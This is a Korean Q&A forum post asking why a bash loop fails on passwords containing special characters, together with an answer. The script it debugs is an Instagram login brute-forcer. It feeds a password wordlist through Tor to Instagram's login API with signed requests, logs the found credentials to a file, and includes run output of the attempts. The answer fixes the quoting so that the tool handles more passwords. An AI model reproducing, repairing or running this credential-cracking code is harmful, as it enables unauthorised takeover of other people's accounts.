for 루프와 sed를 사용하여 파일의 각 줄을 반복하여 URL로 보내는 이 bash 스크립트를 시도하고 있습니다. tst244 또는 anothersample과 같은 단어를 사용할 때는 스크립트가 제대로 작동하지만 줄에 test-1!@# 또는 example\34143*9와 같은 단어가 포함되어 있으면 작동하지 않습니다.
이것은 내 코드입니다.
for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
이것은 문자를 피할 때 얻는 출력입니다(더 명확하게 하기 위해 코드의 인쇄된 부분을 포함하지 않습니다).
Sending (78/100): "01012011"
Sending (79/100): "69696969"
Sending (80/100): "december"
Sending (81/100): "11223344"
Sending (82/100): "godzilla"
Sending (83/100): "airborne"
Sending (84/100): "lifehack"
Sending (85/100): "brooklyn"
Sending (86/100): "platinum"
문자로 출력:
Sending (285/68814): "test&0525"
Sending (286/68814): "test 0079770525"
Sending (287/68814): "test 007"
Sending (288/68814): "test 525"
Sending (289/68814): "TEST007977"
Sending (290/68814): "TeSt0525"
Sending (291/366): "68814"
Sending (test_0079770525/): ""
Sending (292/367): "68814"
Sending (test_007/): ""
Sending (293/368): "68814"
Sending (test_525/): ""
다음 단어를 사용하는 부품의 전체 코드:
while [ $counter -lt $turn ]; do
IFS=$'\n'
for pass in $(sed -n ''$startline','$endline'p' $wl_pass); do
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
header='Connection: "close", "Accept": "*/*", "Content-type": "application/x-www-form-urlencoded; charset=UTF-8", "Cookie2": "$Version=1" "Accept-Language": "en-US", "User-Agent": "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
data='{"phone_id":"'$phone'", "_csrftoken":"'$var2'", "username":"'$user'", "guid":"'$guid'", "device_id":"'$device'", "password":"'$pass'", "login_attempt_count":"0"}'
ig_sig="4f8732eb9ba7d1c8e8897a75d6474d4eb3f5279137431b2aafb71fafe2abe178"
IFS=$'\n'
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
hmac=$(echo -n "$data" | openssl dgst -sha256 -hmac "${ig_sig}" | cut -d " " -f2)
useragent='User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"'
let counter++
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
{(trap '' SIGINT && var=$(curl --socks5-hostname 127.0.0.1:9051 -d "ig_sig_key_version=4&signed_body=$hmac.$data" -s --user-agent 'User-Agent: "Instagram 10.26.0 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"' -w "\n%{http_code}\n" -H "$header" "https://i.instagram.com/api/v1/accounts/login/" | grep -o "logged_in_user\|challenge\|many tries\|Please wait" | uniq ); if [[ $var == "challenge" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n [*] Challenge required\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "logged_in_user" ]]; then printf "\e[1;92m \n [*] Password Found: %s\n" $pass; printf "Username: %s, Password: %s\n" $user $pass >> found.instainsane ; printf "\e[1;92m [*] Saved:\e[0m\e[1;77m found.instainsane \n\e[0m"; rm -rf nottested.lst; kill -1 $$ > /dev/null 2>&1 ; elif [[ $var == "Please wait" ]]; then echo $pass >> nottested.lst ; elif [[ $var == "" ]]; then echo $pass >> nottested.lst ; fi; ) } & done; pid1=$! ; #;wait $!;
let startline+=20
let endline+=20
done
}
코드의 인쇄 부분:
count_pass=$(wc -l $wl_pass | cut -d " " -f1)
countpass=$(grep -n -x "$pass" "$wl_pass" | cut -d ":" -f1)
printf "\e[1;77mTrying pass (%s/%s)\e[0m: \"%s\"\n" $countpass $count_pass $pass
답변1
sed 문은 변수를 사용할 때 큰따옴표를 사용하는 것이 바람직하며, bash가 백슬래시를 확장하지 않고 느낌표를 해석하지 못하도록 하려면 다음과 같이 read -r을 사용하도록 변경할 수 있습니다.
while read -r pass do
#... code here ...
done < <(sed -n "$startline,$endline"'{s/!/\x21/g;p}' "$wl_pass")
루프 내에서 $pass printf
또는 를 사용하면 echo -e
느낌표가 다시 나타납니다.